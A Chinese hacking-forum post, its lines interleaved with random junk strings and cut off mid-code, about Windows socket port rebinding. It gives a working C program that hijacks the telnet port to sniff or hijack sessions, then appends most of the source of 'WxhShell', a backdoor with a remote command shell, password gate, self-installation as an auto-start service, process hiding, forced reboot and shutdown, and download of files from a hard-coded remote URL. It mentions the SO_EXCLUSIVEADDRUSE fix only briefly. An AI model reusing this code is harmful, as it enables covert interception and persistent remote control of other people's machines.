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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >$3 =yw%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i$:yq.DW  
 "}[ ]R  
  saddr.sin_family = AF_INET; 6%o@!|=I  
uzp\<\d-t  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g<w1d{Td  
d;3f80Kd*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^"uD:f)  
5yW}#W>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 l r~>!O  
8@6*d.+e  
  这意味着什么?意味着可以进行如下的攻击: u2':~h?l  
c*(=Glzn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rc`Il{~k  
!0Ak)Q]e'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a_DK"8I  
hsK(09:J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ZXbq5p_  
b+dmJ]c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  UpiZd/K  
IG%x(\V-e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sAK&^g  
=*UVe%N4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :^x,>( a  
F"tM?V.|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .Rb4zLYL*w  
i1HO>X:ea  
  #include L<Z2  
  #include JvJ)}d$,&  
  #include YR)^F|G  
  #include    kc@ \AZb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;>]dwsA*P  
  int main() %2?"x*A  
  { #S|On[Q!  
  WORD wVersionRequested; LG?b]'#  
  DWORD ret; \x_$Pu  
  WSADATA wsaData; TP`"x}ACa?  
  BOOL val; zHW&i~  
  SOCKADDR_IN saddr; LH~ t5  
  SOCKADDR_IN scaddr; "x3!F&  
  int err; I(9+F  
  SOCKET s; CZCVC (/u  
  SOCKET sc; 2T"[$iH!7  
  int caddsize; %nkbQ2^  
  HANDLE mt; L$ju~0jl)%  
  DWORD tid;   )VG_Y9;Xk:  
  wVersionRequested = MAKEWORD( 2, 2 ); oTpoh]|[  
  err = WSAStartup( wVersionRequested, &wsaData ); od3b,Q  
  if ( err != 0 ) { k{\a_e`  
  printf("error!WSAStartup failed!\n"); 4DGKZh'm"  
  return -1; h{PJ4U{W  
  } l-'\E6grdH  
  saddr.sin_family = AF_INET; bWB&8&p  
   H|cxy?iJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (8GA;:G7G  
w6l56 CB`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9:Z|Z?>?  
  saddr.sin_port = htons(23); MIc(B_q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rT{ 2  
  { CyJZip  
  printf("error!socket failed!\n"); T"Nnl(cO_  
  return -1; xQzXl  
  } .zdmUS :  
  val = TRUE; wV{VV?h}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &$pA,Gjin\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i]zTY\gw8M  
  { uU8L93  
  printf("error!setsockopt failed!\n"); ,j[1!*Z_[  
  return -1; `$r?^|T  
  } ,Q8h#0z r  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /^ [K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 l37l| xp~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,,V uvn  
xT8!X5;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zvbz3a  
  { EJ Ta~  
  ret=GetLastError(); S%w67sGl4n  
  printf("error!bind failed!\n"); OKNGV,{`  
  return -1; |Lz7}g=6  
  } ~#JX 0J=  
  listen(s,2); |Fzt| \  
  while(1) &. "ltB  
  { $K!6T  
  caddsize = sizeof(scaddr); 3WY:Fn+#  
  //接受连接请求 R #m1Aa  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); FHZQyO<|  
  if(sc!=INVALID_SOCKET) <Ow+LJWQK  
  { vg[zRWh8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O u{|o0  
  if(mt==NULL) j(Tk6S  
  { 1);E!D[  
  printf("Thread Creat Failed!\n"); G)7J$4R  
  break; hmtDw,j  
  } ! 9=Y(rb  
  } 6E:5w9_=c  
  CloseHandle(mt); r Ww.(l  
  } l65Qk2<YC  
  closesocket(s); t? _{  
  WSACleanup(); LQa1p  
  return 0; )0 i$Bo  
  }   S >\\n^SbT  
  DWORD WINAPI ClientThread(LPVOID lpParam) %lN4"jtx  
  { jD_B&MQz  
  SOCKET ss = (SOCKET)lpParam; M cbiO)@I  
  SOCKET sc; ;+VHi%5Z  
  unsigned char buf[4096]; VN<baK%]  
  SOCKADDR_IN saddr; VI^~I;M^  
  long num; *(Us:*$W.  
  DWORD val; =&;}#A%m  
  DWORD ret; T`|>oX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 is=|rY9$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _K|?;j#x0k  
  saddr.sin_family = AF_INET; FGRG?d4?h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~bX ) %jC  
  saddr.sin_port = htons(23); %967#XI[y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1s#GY<<  
  { v 1Jg8L=  
  printf("error!socket failed!\n"); SCD;(I~4  
  return -1; %J|xPp)  
  } 5?gZw;yiv%  
  val = 100; 5lakP?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &Zm1(k6&K  
  { /)xQ# yfX  
  ret = GetLastError(); 'lR f  
  return -1; #'h(o/hz&&  
  } %v1*D^))  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *XqS~G  
  { %Wb$qpa  
  ret = GetLastError(); / , .rUn1  
  return -1; )]m_ L$9  
  } :X- \!w\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #.~lt8F  
  { [fXC ;c1  
  printf("error!socket connect failed!\n"); 05vu{>  
  closesocket(sc); ou'|e"tI  
  closesocket(ss); 4 {3< `  
  return -1; 9 kS;_(DB  
  } 5%(xZ  6  
  while(1) B?<Z(d7  
  { i]n ?zWo_h  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 . aqP=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =J&aN1Hgt  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bR? $a+a)  
  num = recv(ss,buf,4096,0); vke]VXU9z  
  if(num>0) d`4@aoM  
  send(sc,buf,num,0); rwep e5  
  else if(num==0) G@Vz }B:=  
  break; ( 0Z3Ksfj1  
  num = recv(sc,buf,4096,0); G@]|/kN1y  
  if(num>0) z`+j]NX]  
  send(ss,buf,num,0); jp QmKX  
  else if(num==0) Kkz2N  
  break; $^"_Fox]A\  
  } r=pb7=M#LN  
  closesocket(ss); @V# wYt  
  closesocket(sc); lIF*$#`oh*  
  return 0 ; {uMqd-Uu  
  } ;X2(G  
J*CfG;Y:  
Oe%jV,S|V  
========================================================== I`}<1~ue  
r<L>~S>yb  
下边附上一个代码,,WXhSHELL ='|HUxFi  
HxH=~B1"P  
========================================================== Z8Il3b*)  
T~'9p`IW  
#include "stdafx.h" lEv<n6:_  
wC[Bh^]  
#include <stdio.h> hFWK^]~ a  
#include <string.h> ;P4tqY@  
#include <windows.h> ym)`<[T  
#include <winsock2.h> )IP{yL8c  
#include <winsvc.h> Sk,9<@  
#include <urlmon.h> 8q& *tpE  
2Md'<.  
#pragma comment (lib, "Ws2_32.lib") IKV:J9  
#pragma comment (lib, "urlmon.lib") ZIrJ"*QO=  
aF\?X &|  
#define MAX_USER   100 // 最大客户端连接数 W e*)RXm%  
#define BUF_SOCK   200 // sock buffer Ev;ocb,  
#define KEY_BUFF   255 // 输入 buffer vVi))%&S(  
~.wDb,*  
#define REBOOT     0   // 重启 wUz)9n 6j  
#define SHUTDOWN   1   // 关机 qP0_#l&  
j?n:"@!G/  
#define DEF_PORT   5000 // 监听端口 ,o)U9 <  
#%i-{t+_>  
#define REG_LEN     16   // 注册表键长度 b,#E.%SLw  
#define SVC_LEN     80   // NT服务名长度 N~An}QX|  
{1ic* cZS  
// 从dll定义API +vtI1LC;_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )pXw 3Fo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UPkD^D,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .%4{zaB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R'q:Fc  
;hLne0|)}  
// wxhshell配置信息 UMJ>6 Ko8  
struct WSCFG { <KDl2>O  
  int ws_port;         // 监听端口 Rl"" aZ  
  char ws_passstr[REG_LEN]; // 口令 7+I2" Hy  
  int ws_autoins;       // 安装标记, 1=yes 0=no {E~ MqrX  
  char ws_regname[REG_LEN]; // 注册表键名 pQ Y.MZSA  
  char ws_svcname[REG_LEN]; // 服务名 wB;'+d&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q:1_D>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @pD']=d}t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Bu$GCSrX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :K6(`J3Y"^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <IBzh_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9GZKT{*  
[af<FQ{  
}; KD~F5aS`[  
NX(.Lw}  
// default Wxhshell configuration #?z 1cgCg  
struct WSCFG wscfg={DEF_PORT, L_rKVoKjt  
    "xuhuanlingzhe", Tx7YHE6{  
    1, t*)-p:29h  
    "Wxhshell", 1+^L,-k!  
    "Wxhshell", -R;.Md_  
            "WxhShell Service", WM}bM] oe  
    "Wrsky Windows CmdShell Service", k'BLos1W  
    "Please Input Your Password: ", TvWhy`RQ  
  1, ;mLbJT   
  "http://www.wrsky.com/wxhshell.exe", 2Ax HhD.  
  "Wxhshell.exe" 6 tbH(  
    }; Ir*,fyl  
kE".v|@  
// 消息定义模块 I/s?] v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /.\$%bua  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 66%#$WH#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8F<Qc*'  
char *msg_ws_ext="\n\rExit."; X3:-+]6,d  
char *msg_ws_end="\n\rQuit."; j]"Yz t~u  
char *msg_ws_boot="\n\rReboot..."; jz$)*Kdi*  
char *msg_ws_poff="\n\rShutdown..."; -< 7KW0CA  
char *msg_ws_down="\n\rSave to "; OZ q/'*  
+*Cg2`  
char *msg_ws_err="\n\rErr!"; 8<t?o'9I  
char *msg_ws_ok="\n\rOK!"; <&o `T4  
eb)S<%R/  
char ExeFile[MAX_PATH]; Q H%{r4  
int nUser = 0; OwQ 9y<v  
HANDLE handles[MAX_USER]; h(I~HZ[K&T  
int OsIsNt; 3X{=* wvt  
MQQ!@I`  
SERVICE_STATUS       serviceStatus; *Df|D/,WE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PL8eM]XS  
'B"kUh%3$5  
// 函数声明 g2hxWf"  
int Install(void); 2WIbu-"l  
int Uninstall(void); %rT XT  
int DownloadFile(char *sURL, SOCKET wsh); 9`)NFy?  
int Boot(int flag); w<awCp  
void HideProc(void); F,e_`  
int GetOsVer(void); O;:8mm%(  
int Wxhshell(SOCKET wsl); %f@VOSs  
void TalkWithClient(void *cs); C/[2?[  
int CmdShell(SOCKET sock); OZ_'& CZ  
int StartFromService(void); doxQS ohS  
int StartWxhshell(LPSTR lpCmdLine); "$#x+|PyC  
-{ZTp8P>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AdB5D_ Ir  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +gOCl*L  
*kxk@(lT?  
// 数据结构和表定义 =? xA*_^  
SERVICE_TABLE_ENTRY DispatchTable[] = B{|P}fN5}  
{ =?57*=]0M  
{wscfg.ws_svcname, NTServiceMain}, _-Aw`<_*-  
{NULL, NULL} fZXJPy;n  
}; ?/{ qRz'C<  
xGqe )M>8?  
// 自我安装 a'Qy]P}'Ug  
int Install(void) LIVVb"V|,  
{ /PIU@$DV  
  char svExeFile[MAX_PATH]; A"C%.InZ  
  HKEY key; JPiC/  
  strcpy(svExeFile,ExeFile); '&3Sl?E  
\nx ^=4*yk  
// 如果是win9x系统,修改注册表设为自启动 Xt8;Pl  
if(!OsIsNt) { C did*hxJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o)?"P;UhJX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [/*85 4  
  RegCloseKey(key); |n=kYs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E+"INX7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @}x)>tqD  
  RegCloseKey(key); bsPwTp^  
  return 0; .dp~%!"Sn,  
    } x-Z`^O  
  } ;oULtQ  
} ix]3t^  
else { :M ix*NCf  
r[M]2h  
// 如果是NT以上系统,安装为系统服务 :H\6wJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z0HCmj9T  
if (schSCManager!=0) {TdK S  
{ 6yTL7@V|B  
  SC_HANDLE schService = CreateService CQ"IL;y  
  ( A@_F ;4X  
  schSCManager, "`,PLC  
  wscfg.ws_svcname, E] t:_v  
  wscfg.ws_svcdisp, J(M0t~RZ  
  SERVICE_ALL_ACCESS, rg_-gZl8&z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f8N  
  SERVICE_AUTO_START, _ZD)#?  
  SERVICE_ERROR_NORMAL, +B_q? 6pR  
  svExeFile, Roy`HU ;0a  
  NULL, rQ*'2Zf'<  
  NULL, Q_6./.GQ  
  NULL, P}&7G-  
  NULL, C3bZ3vcW$  
  NULL ?GD{}f33  
  ); 5HL JkOV5  
  if (schService!=0)  h:#  
  { @OFl^U0/  
  CloseServiceHandle(schService); ERGDo=j  
  CloseServiceHandle(schSCManager); X'jEI{1w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0V}vVAa(B  
  strcat(svExeFile,wscfg.ws_svcname); 68)z`JI|<)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KzeA+PI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (LRv c!`"  
  RegCloseKey(key); jfqWcX.X=  
  return 0; XT~JP  
    } ;b cy(Fp,\  
  } C+ r--"Z  
  CloseServiceHandle(schSCManager); F.PD5%/$q  
} .XURI#b  
} <pYGcVB9V  
U`:#+8h-}  
return 1; zi[bpa17W  
} >eAlz 4  
LD_aJ^(d  
// 自我卸载 V)Z*X88:Tv  
int Uninstall(void) UH%?{>oRh  
{ Cl<` uW3  
  HKEY key; Wz:MPdz3(  
[JMz~~ F  
if(!OsIsNt) { }%$9nq3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xfO!v>  
  RegDeleteValue(key,wscfg.ws_regname); *qY`MW  
  RegCloseKey(key); N##3k-0Ao  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $hndb+6q  
  RegDeleteValue(key,wscfg.ws_regname); HQ@X"y n  
  RegCloseKey(key); XV%L6x  
  return 0; *[W!ng  
  } 4=F~^Xc`  
} <LZvG IMl  
} 3 {on$\  
else { Q`AJR$L  
,O 3"r;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #hR}7K+@  
if (schSCManager!=0)  9<[RXY  
{ O%(:8nIgZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \RMYaI^+;  
  if (schService!=0) X"iy.@7  
  { X-oou'4<  
  if(DeleteService(schService)!=0) { 3{d1Jk/S  
  CloseServiceHandle(schService); wzo-V^+q  
  CloseServiceHandle(schSCManager); fRaVY`|wK  
  return 0; b%,5B  
  } @%ChPjN  
  CloseServiceHandle(schService); r1ctW#\~8  
  } B`RbXk68q  
  CloseServiceHandle(schSCManager); 1/gY]ghL  
} WF*2^iWJ  
} 4w]u: eU  
+Z)||MR"  
return 1; W1r-uR  
} @U5 +1Hjc  
( M.Sl  
// 从指定url下载文件 cQgmRHZ]  
int DownloadFile(char *sURL, SOCKET wsh) q+gqa<kM  
{ q$b/T+-ec  
  HRESULT hr; HewVwD<C  
char seps[]= "/"; _u{D#mmO  
char *token; 2lAuO!%  
char *file; I9SO}a2p  
char myURL[MAX_PATH]; 8C4 Tyms  
char myFILE[MAX_PATH]; MfeW|  
6prN,*k5  
strcpy(myURL,sURL); 2',t@<U  
  token=strtok(myURL,seps); rCYNdfdpp  
  while(token!=NULL) 1/a*8vuGh  
  { y<)Lr}gP  
    file=token; JkQ4'$:  
  token=strtok(NULL,seps); ! ~&X1,l1*  
  } gA~Ih  
oPzt1Y  
GetCurrentDirectory(MAX_PATH,myFILE); fcJ#\-+E  
strcat(myFILE, "\\"); wg!  
strcat(myFILE, file); ;EL!TzL:8  
  send(wsh,myFILE,strlen(myFILE),0); rU.ew~  
send(wsh,"...",3,0); zFB$^)v"<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z<^HohT  
  if(hr==S_OK) tBrd+}e2*  
return 0; Q9%N>h9  
else VD36ce9  
return 1; _e~EQ[,  
_6=6 b!hD  
} .%WbXs  
iKp4@6an  
// 系统电源模块 `jP\*k`~]  
int Boot(int flag) Q$kSK+ q!  
{ 20%xD e  
  HANDLE hToken; %@H;6   
  TOKEN_PRIVILEGES tkp; &)xoR4!2  
"28x-F+J  
  if(OsIsNt) { qMI%=@=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :kY][_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qr<5z. %  
    tkp.PrivilegeCount = 1; Bj%{PK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %\r4c*O1q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1!vR 8.  
if(flag==REBOOT) { UnW,|n8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R['qBHQ?  
  return 0; dx Mz!  
} ~(I\O?k>H  
else { ,a5I:V^\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #<v3G)|aS  
  return 0; *]x]U >EF  
} Ae`K 9  
  } s'} oVx]  
  else { gtCd#t'(V  
if(flag==REBOOT) { q7m-} mBN~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !y4o^Su[  
  return 0; -fG;`N5U  
} U&`M G1uHe  
else { lg1?g)lv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F5+f?B~?R?  
  return 0; v C><N  
} lv$tp,+  
} G+\2Aj  
:j?Lil%R  
return 1; HlI*an  
} h\D y(\  
5OKbW!  
// win9x进程隐藏模块 q'c'rN^  
void HideProc(void) Nz5gu.a6{L  
{ g w }t.3}  
+uv]dD *i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Mg^GN -l  
  if ( hKernel != NULL ) 1{nXmtvr  
  { 8Jxo;Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'y;[ fwo7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /o8h1L=  
    FreeLibrary(hKernel); 7c+TS--  
  } ";s?#c  
<K4'|HU/  
return; @uT\.W:Q2  
} E(TL+o  
f&{2G2 O%  
// 获取操作系统版本 sl/#1B   
int GetOsVer(void) pjHUlQ   
{ .rN 5A+By`  
  OSVERSIONINFO winfo; 7M^!t X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;wTl#\|w0  
  GetVersionEx(&winfo); m./lrz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |910xd`Z  
  return 1; %4+r&  
  else C4Bh#C  
  return 0; {!'AR`|  
} g4I(uEJk  
*Pw; ;#\B  
// 客户端句柄模块 ,Qj7wFZ  
int Wxhshell(SOCKET wsl) Os?~U/  
{ 8BLtTpu  
  SOCKET wsh; x*bM C&Ea  
  struct sockaddr_in client; KcNEB_i  
  DWORD myID; yy/wSk  
&m+s5  
  while(nUser<MAX_USER) s?E7tmaM  
{ V><5N;w  
  int nSize=sizeof(client); &W`yHQ"JY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rJ9a@n,  
  if(wsh==INVALID_SOCKET) return 1; "E 8-76n  
DghX(rs_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rDUNA@r  
if(handles[nUser]==0) e~nmIy  
  closesocket(wsh); >8>`-  
else +a"A svw2  
  nUser++; EiIbp4*e  
  } /g@.1z1w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OYy%aA}h  
%2bZeZ  
  return 0; J/R=O>  
} ?sp  
S-'iOJ 1]  
// 关闭 socket MCL5a@BX)  
void CloseIt(SOCKET wsh) />K$_T/]  
{ &[qL l  
closesocket(wsh); bWUo(B#*I  
nUser--; c%Kv"Z%f  
ExitThread(0); Zp l?zI  
} N;<<-`i  
d8dREhK&  
// 客户端请求句柄 YX!%R]c%  
void TalkWithClient(void *cs) Aw9^}k}UfD  
{ jyLpe2 S  
r`B8Cik  
  SOCKET wsh=(SOCKET)cs; _@jl9<t=_  
  char pwd[SVC_LEN]; lj'c0k8  
  char cmd[KEY_BUFF]; )#IiHBF  
char chr[1]; >Y)jt*vQ  
int i,j; FU5vo  
|UBR8  
  while (nUser < MAX_USER) { !-LPFy>  
]%ikr&78u  
if(wscfg.ws_passstr) { s26:(J [{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9IC"p<D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hc5@ gN  
  //ZeroMemory(pwd,KEY_BUFF); h^?[:XBeav  
      i=0; sAC1Pda  
  while(i<SVC_LEN) { @&mv4zz&W  
) dwPD  
  // 设置超时 YDC[s ^d5  
  fd_set FdRead; >L?/Ph%d  
  struct timeval TimeOut; 6hAeLlU1  
  FD_ZERO(&FdRead); I_'vVbK+>  
  FD_SET(wsh,&FdRead); e=1&mO?  
  TimeOut.tv_sec=8; _"##p  
  TimeOut.tv_usec=0; gWv/3hWWB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !T6oD]x3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a}0\kDe  
u <D&RT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WI](a8bm  
  pwd=chr[0]; b3<<4Vf  
  if(chr[0]==0xd || chr[0]==0xa) { g9'50<|J  
  pwd=0; K?(ls$  
  break; y3c]zDjV  
  } .oN<c]iqE  
  i++; .kBi" p&  
    } hTf]t  
<;SQ1^N  
  // 如果是非法用户,关闭 socket T_y 'cvh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6=MejT  
} P[% W[E<  
86vk"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Rfeiv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fPZBm&`C  
qYGnebn@\  
while(1) { MU-ie*+  
Xr6lYO_R  
  ZeroMemory(cmd,KEY_BUFF); 9 qqy(H  
x4 4)o:  
      // 自动支持客户端 telnet标准   %Kd8ZNv  
  j=0; :-ax5,J>q  
  while(j<KEY_BUFF) { z,I7 PY& G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S2;{)"mS  
  cmd[j]=chr[0]; ,BOB &u  
  if(chr[0]==0xa || chr[0]==0xd) { CZxQz  
  cmd[j]=0; no)Spo'  
  break; c{V0]A9VF  
  } +\\*Iy'xK  
  j++; Apa)qRJd  
    } :&#hjeltt  
-r/#20Y  
  // 下载文件 el;^cMY  
  if(strstr(cmd,"http://")) { [ C] =p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y%v<Cp@R  
  if(DownloadFile(cmd,wsh)) zPH1{|H+l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uy~5!i&  
  else @@'zMV%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wvp\'* $  
  } hc`9Y  
  else { C W7E2 ^P$  
WK:~2m&y  
    switch(cmd[0]) { 3@XCP-`  
  9kH~+  
  // 帮助 C>:F4"0  
  case '?': { }8fxCW*|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N@58R9P<p  
    break; `IFt;Ja\6  
  } v}+axu/?  
  // 安装 aluXh?  
  case 'i': { 3k5Mty  
    if(Install()) bxqXFy/I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F2AM/m^!q  
    else {ylc 2 1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J,4]d u$  
    break; |.*),t3 (w  
    } gmj a2F,  
  // 卸载 c zL[W2l   
  case 'r': { jf$6{zO6j  
    if(Uninstall()) X>wB=z5PXK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s lDxsb  
    else /49PF:$?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r*0a43mC1  
    break; 8}{';k  
    } ^ Gq2"rDM  
  // 显示 wxhshell 所在路径 c<y.Y0  
  case 'p': { 67<zBw2  
    char svExeFile[MAX_PATH]; 4)]g=-3  
    strcpy(svExeFile,"\n\r"); Olj]A]v}  
      strcat(svExeFile,ExeFile); n&r-  
        send(wsh,svExeFile,strlen(svExeFile),0); N#bWMZ"  
    break; (=QaAn,,R  
    } 7 I&7YhFI  
  // 重启 {QM;%f  
  case 'b': { DcQ^V4_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oZA|IF8U0  
    if(Boot(REBOOT)) A0V"5syY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wkdd&Nw;  
    else { 2 t< dCw  
    closesocket(wsh); f"k?Ix\ e  
    ExitThread(0); lqF{Y<l  
    } o~NeS|a  
    break; 7B"J x^  
    } 0`h[|FYV  
  // 关机 KQJn\#>  
